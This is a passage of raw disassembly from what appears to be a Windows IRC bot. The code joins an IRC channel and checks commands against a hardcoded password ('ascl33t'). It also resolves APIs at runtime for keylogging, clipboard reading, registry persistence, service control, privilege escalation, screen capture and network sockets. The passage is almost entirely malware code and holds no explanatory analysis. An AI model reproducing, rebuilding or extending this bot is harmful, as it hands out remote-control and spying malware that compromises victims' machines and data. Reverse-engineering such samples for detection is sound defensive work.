loc_40CDB6:				; CODE XREF: sub_4087B3+2FCCj
		add	esp, 0Ch
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40CDBE:				; CODE XREF: sub_4087B3+DB9j
					; sub_4087B3+DCEj
		push	[ebp+esi+var_9C]
		push	1Eh
		push	offset aProcessList ; "Process list"
		push	offset dword_42D6C8
		jmp	loc_4094A3
; ---------------------------------------------------------------------------


loc_40CDD6:				; CODE XREF: sub_4087B3+C87j
					; sub_4087B3+C9Cj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CDFE
		push	edi
		push	offset aSec	; "sec"
		call	sub_416B70
		pop	ecx
		mov	[ebp+var_458], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CE08


loc_40CDFE:				; CODE XREF: sub_4087B3+4632j
		mov	[ebp+var_458], 1


loc_40CE08:				; CODE XREF: sub_4087B3+4649j
		push	[ebp+var_98]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_4163D7
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_458], ebx
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40CE4F
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40CE4F:				; CODE XREF: sub_4087B3+4695j
		push	eax
		push	offset dword_42D680
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4163D7
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	19h
		push	eax
		call	sub_40105F
		add	esp, 1Ch
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_401127
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40CEBF


loc_40CEAD:				; CODE XREF: sub_4087B3+470Aj
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40CEDA
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40CEAD
; ---------------------------------------------------------------------------


loc_40CEBF:				; CODE XREF: sub_4087B3+46F8j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D2AC


loc_40CECB:				; CODE XREF: sub_4087B3+422Bj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40CEDA:				; CODE XREF: sub_4087B3+1F7Dj
					; sub_4087B3+2A33j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		jmp	loc_408D66
; ---------------------------------------------------------------------------


loc_40CEEB:				; CODE XREF: sub_4087B3+C5Dj
					; sub_4087B3+C72j
		push	offset aXPsy	; "X Psy"
		push	offset dword_42D664


loc_40CEF5:				; CODE XREF: sub_4087B3+3481j
					; sub_4087B3+3660j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821


loc_40CF01:				; CODE XREF: sub_4087B3+4012j
		add	esp, 0Ch
		jmp	loc_40A0FB
; ---------------------------------------------------------------------------


loc_40CF09:				; CODE XREF: sub_4087B3+C33j
					; sub_4087B3+C48j
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jz	short loc_40CF63
		push	esi
		call	sub_416CCF
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40CF5B
		cmp	eax, 5
		jge	short loc_40CF5B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40CF53
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42F93C
		push	eax
		call	sub_416821
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40B330
; ---------------------------------------------------------------------------


loc_40CF53:				; CODE XREF: sub_4087B3+477Fj
		push	eax
		push	offset unk_42D624
		jmp	short loc_40CFA0
; ---------------------------------------------------------------------------


loc_40CF5B:				; CODE XREF: sub_4087B3+476Aj
					; sub_4087B3+476Fj
		push	eax
		push	offset unk_42D5E4
		jmp	short loc_40CFA0
; ---------------------------------------------------------------------------


loc_40CF63:				; CODE XREF: sub_4087B3+475Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40CF68:				; CODE XREF: sub_4087B3+47D1j
		push	[ebp+var_A0]
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CF8B
		inc	esi
		add	edi, 80h
		cmp	esi, 5
		jl	short loc_40CF68
		jmp	loc_40B330
; ---------------------------------------------------------------------------


loc_40CF8B:				; CODE XREF: sub_4087B3+47C5j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42F93C


loc_40CFA0:				; CODE XREF: sub_4087B3+1661j
					; sub_4087B3+1691j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch
		jmp	loc_40B330
; ---------------------------------------------------------------------------


loc_40CFB4:				; CODE XREF: sub_4087B3+C09j
					; sub_4087B3+C1Ej
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D023
		call	sub_401109
		push	ebx
		call	ds:dword_495350	; ExitProcess


loc_40CFD6:				; CODE XREF: sub_4087B3+BDFj
					; sub_4087B3+BF4j
		push	[ebp+esi+var_9C]
		xor	eax, eax
		cmp	[ebp+var_9A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_564]
		push	dword_42C92C
		push	eax
		call	sub_401343
		lea	eax, [ebp+var_564]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		lea	eax, [ebp+var_564]
		push	eax
		push	offset unk_42D5B0
		call	sub_4012B2
		add	esp, 24h


loc_40D023:				; CODE XREF: sub_4087B3+65Cj
					; sub_4087B3+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40D02B:				; CODE XREF: sub_4087B3+6EBj
					; sub_4087B3+700j
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_408B77
		cmp	[ebp+var_AC], ebx
		jnz	loc_408B77
		push	offset asc_42F9BC ; "!"
		push	[ebp+var_A0]
		call	sub_4176C0
		mov	esi, eax
		push	offset dword_4370B8
		push	ebx
		inc	esi
		call	sub_4176C0
		push	offset asc_42D5AC ; "~"
		push	eax
		call	sub_4176C0
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aAscl33t	; "ascl33t"
		call	sub_416B70
		add	esp, 20h
		test	eax, eax
		jz	short loc_40D0D3
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :Failed. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSFaile_0 ; "NOTICE %s :Failed.\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	edi
		push	esi
		push	offset unk_42D52C


loc_40D0BF:				; CODE XREF: sub_4087B3+497Cj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 30h
		jmp	loc_40B351
; ---------------------------------------------------------------------------


loc_40D0D3:				; CODE XREF: sub_4087B3+48D3j
		mov	[ebp+arg_24], offset off_42C9E4


loc_40D0DA:				; CODE XREF: sub_4087B3+4943j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_401113
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D131
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42C9E8
		jl	short loc_40D0DA
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :Failed. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSFaile_0 ; "NOTICE %s :Failed.\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	edi
		push	esi
		push	offset unk_42D4EC
		jmp	short loc_40D0BF
; ---------------------------------------------------------------------------


loc_40D131:				; CODE XREF: sub_4087B3+4936j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D136:				; CODE XREF: sub_4087B3+49ADj
		cmp	[ebp+arg_10], ebx
		jz	loc_408B77
		cmp	[edi], bl
		jnz	short loc_40D156
		push	[ebp+arg_10]
		push	offset aAscl33t	; "ascl33t"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D167


loc_40D156:				; CODE XREF: sub_4087B3+498Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 5
		jl	short loc_40D136
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_40D167:				; CODE XREF: sub_4087B3+49A1j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_A94]
		push	7Fh
		push	eax
		push	esi
		call	sub_416A10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40D19E
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D4BC
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40D19E:				; CODE XREF: sub_4087B3+49CFj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D488
		jmp	loc_408D60
; ---------------------------------------------------------------------------


loc_40D1AF:				; CODE XREF: sub_4087B3+20Ej
					; sub_4087B3+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	offset aXRi	; "-x+Ri"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		add	esp, 2Ch
		mov	dword_483630, edi
		jmp	loc_408A50
sub_4087B3	endp

; ---------------------------------------------------------------------------
		db 1290h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E485	proc near		; CODE XREF: sub_401032j

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_416BF4
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		leave
		retn
sub_40E485	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E4DC	proc near		; CODE XREF: sub_4010D2j

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40E4F7
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40E4F7:				; CODE XREF: sub_40E4DC+14j
		push	edi
		call	sub_4158E0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_4158E0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_4163D7
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	eax
		call	sub_416821
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40E575
		push	7D0h
		call	ds:dword_495324	; Sleep

locret_40E575:				; CODE XREF: sub_40E4DC+8Cj
		leave
		retn
sub_40E4DC	endp

; ---------------------------------------------------------------------------
		db 26h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E59D	proc near		; CODE XREF: sub_4012F3j
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4953A8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4953C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40E6BD
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_491708, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_49167C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_491660, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_49157C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_491528, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_491558, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4915CC, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4916BC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_491718, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_491588, eax
		call	esi	; GetProcAddress
		cmp	dword_491708, ebx
		mov	dword_491570, eax
		jz	short loc_40E69B
		cmp	dword_49167C, ebx
		jz	short loc_40E69B
		cmp	dword_491660, ebx
		jz	short loc_40E69B
		cmp	dword_49157C, ebx
		jz	short loc_40E69B
		cmp	dword_491558, ebx
		jz	short loc_40E69B
		cmp	dword_4915CC, ebx
		jz	short loc_40E69B
		cmp	dword_4916BC, ebx
		jz	short loc_40E69B
		cmp	dword_491718, ebx
		jz	short loc_40E69B
		cmp	dword_491588, ebx
		jz	short loc_40E69B
		cmp	eax, ebx
		jnz	short loc_40E6A5


loc_40E69B:				; CODE XREF: sub_40E59D+B8j
					; sub_40E59D+C0j ...
		mov	dword_49171C, 1


loc_40E6A5:				; CODE XREF: sub_40E59D+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_491694, eax
		jz	short loc_40E6D2
		push	1
		push	ebx
		call	eax	; DnsFlushResolverCache
		jmp	short loc_40E6D2
; ---------------------------------------------------------------------------


loc_40E6BD:				; CODE XREF: sub_40E59D+1Dj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491720, eax
		mov	dword_49171C, 1


loc_40E6D2:				; CODE XREF: sub_40E59D+117j
					; sub_40E59D+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4953C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40E7E7
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4916B8, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_491668, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4915FC, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_49170C, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_49162C, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_49164C, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4916B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4916B8, ebx
		mov	dword_4915A4, eax
		jz	short loc_40E78B
		cmp	dword_491668, ebx
		jz	short loc_40E78B
		cmp	dword_4915FC, ebx
		jz	short loc_40E78B
		cmp	dword_49170C, ebx
		jz	short loc_40E78B
		cmp	dword_49162C, ebx
		jz	short loc_40E78B
		cmp	dword_49164C, ebx
		jz	short loc_40E78B
		cmp	dword_4916B0, ebx
		jz	short loc_40E78B
		cmp	eax, ebx
		jnz	short loc_40E795


loc_40E78B:				; CODE XREF: sub_40E59D+1B8j
					; sub_40E59D+1C0j ...
		mov	dword_491724, 1


loc_40E795:				; CODE XREF: sub_40E59D+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_491628, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_49153C, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4915F8, eax
		call	esi	; GetProcAddress
		cmp	dword_491628, ebx
		mov	dword_4915E4, eax
		jz	short loc_40E7F2
		cmp	dword_49153C, ebx
		jz	short loc_40E7F2
		cmp	dword_4915F8, ebx
		jz	short loc_40E7F2
		cmp	eax, ebx
		jnz	short loc_40E7FC
		jmp	short loc_40E7F2
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E59D+144j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491728, eax


loc_40E7F2:				; CODE XREF: sub_40E59D+232j
					; sub_40E59D+23Aj ...
		mov	dword_491724, 1


loc_40E7FC:				; CODE XREF: sub_40E59D+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40E997
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4916CC, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_491610, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_491680, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_491568, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4915C8, eax
		call	esi	; GetProcAddress
		cmp	dword_4916CC, ebx
		mov	dword_491638, eax
		jz	short loc_40E887
		cmp	dword_491610, ebx
		jz	short loc_40E887
		cmp	dword_491680, ebx
		jz	short loc_40E887
		cmp	dword_491568, ebx
		jz	short loc_40E887
		cmp	dword_4915C8, ebx
		jz	short loc_40E887
		cmp	eax, ebx
		jnz	short loc_40E891


loc_40E887:				; CODE XREF: sub_40E59D+2C4j
					; sub_40E59D+2CCj ...
		mov	dword_49172C, 1


loc_40E891:				; CODE XREF: sub_40E59D+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_491640, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_491618, eax
		call	esi	; GetProcAddress
		cmp	dword_491640, ebx
		mov	dword_4916C8, eax
		jz	short loc_40E8CC
		cmp	dword_491618, ebx
		jz	short loc_40E8CC
		cmp	eax, ebx
		jnz	short loc_40E8D6


loc_40E8CC:				; CODE XREF: sub_40E59D+321j
					; sub_40E59D+329j
		mov	dword_49172C, 1


loc_40E8D6:				; CODE XREF: sub_40E59D+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_491650, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_491544, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_49154C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4915AC, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4915B0, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_491560, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_49161C, eax
		call	esi	; GetProcAddress
		cmp	dword_491650, ebx
		mov	dword_491550, eax
		jz	short loc_40E97A
		cmp	dword_491544, ebx
		jz	short loc_40E97A
		cmp	dword_49154C, ebx
		jz	short loc_40E97A
		cmp	dword_4915AC, ebx
		jz	short loc_40E97A
		cmp	dword_4915B0, ebx
		jz	short loc_40E97A
		cmp	dword_491560, ebx
		jz	short loc_40E97A
		cmp	dword_49161C, ebx
		jz	short loc_40E97A
		cmp	eax, ebx
		jnz	short loc_40E984


loc_40E97A:				; CODE XREF: sub_40E59D+3A7j
					; sub_40E59D+3AFj ...
		mov	dword_49172C, 1


loc_40E984:				; CODE XREF: sub_40E59D+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_491548, eax
		jnz	short loc_40E9AC
		jmp	short loc_40E9A2
; ---------------------------------------------------------------------------


loc_40E997:				; CODE XREF: sub_40E59D+26Aj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491730, eax


loc_40E9A2:				; CODE XREF: sub_40E59D+3F8j
		mov	dword_49172C, 1


loc_40E9AC:				; CODE XREF: sub_40E59D+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40EA78
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_491648, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4916A0, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4916A8, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_491664, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_49158C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_491538, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4916A4, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_491524, eax
		call	esi	; GetProcAddress
		cmp	dword_491648, ebx
		mov	dword_4915C0, eax
		jz	short loc_40EA83
		cmp	dword_4916A0, ebx
		jz	short loc_40EA83
		cmp	dword_4916A8, ebx
		jz	short loc_40EA83
		cmp	dword_491664, ebx
		jz	short loc_40EA83
		cmp	dword_49158C, ebx
		jz	short loc_40EA83
		cmp	dword_491538, ebx
		jz	short loc_40EA83
		cmp	dword_4916A4, ebx
		jz	short loc_40EA83
		cmp	dword_491524, ebx
		jz	short loc_40EA83
		cmp	eax, ebx
		jnz	short loc_40EA8D
		jmp	short loc_40EA83
; ---------------------------------------------------------------------------


loc_40EA78:				; CODE XREF: sub_40E59D+41Aj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491738, eax


loc_40EA83:				; CODE XREF: sub_40E59D+49Bj
					; sub_40E59D+4A3j ...
		mov	dword_491734, 1


loc_40EA8D:				; CODE XREF: sub_40E59D+4D7j
		mov	ebp, ds:dword_4953C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40ED49
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4915D4, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_491700, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_491578, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_491554, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_491608, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4915F0, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4915BC, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4916DC, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4916F8, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_491604, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4916E8, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_49169C, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_49165C, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_491658, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_491598, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_491590, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4916AC, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4916C0, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_491674, eax
		call	esi	; GetProcAddress
		mov	dword_491634, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_491688, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_491644, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_491684, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4916F0, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_49163C, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_491600, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_491670, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4916E0, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_491614, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4915B8, eax
		call	esi	; GetProcAddress
		cmp	dword_4915D4, ebx
		mov	dword_4916F4, eax
		jz	loc_40ED54
		cmp	dword_491700, ebx
		jz	loc_40ED54
		cmp	dword_491578, ebx
		jz	loc_40ED54
		cmp	dword_491608, ebx
		jz	loc_40ED54
		cmp	dword_4915F0, ebx
		jz	loc_40ED54
		cmp	dword_4915BC, ebx
		jz	loc_40ED54
		cmp	dword_4916DC, ebx
		jz	loc_40ED54
		cmp	dword_4916F8, ebx
		jz	loc_40ED54
		cmp	dword_491604, ebx
		jz	loc_40ED54
		cmp	dword_4916E8, ebx
		jz	loc_40ED54
		cmp	dword_49169C, ebx
		jz	loc_40ED54
		cmp	dword_49165C, ebx
		jz	loc_40ED54
		cmp	dword_491658, ebx
		jz	loc_40ED54
		cmp	dword_491598, ebx
		jz	short loc_40ED54
		cmp	dword_4916AC, ebx
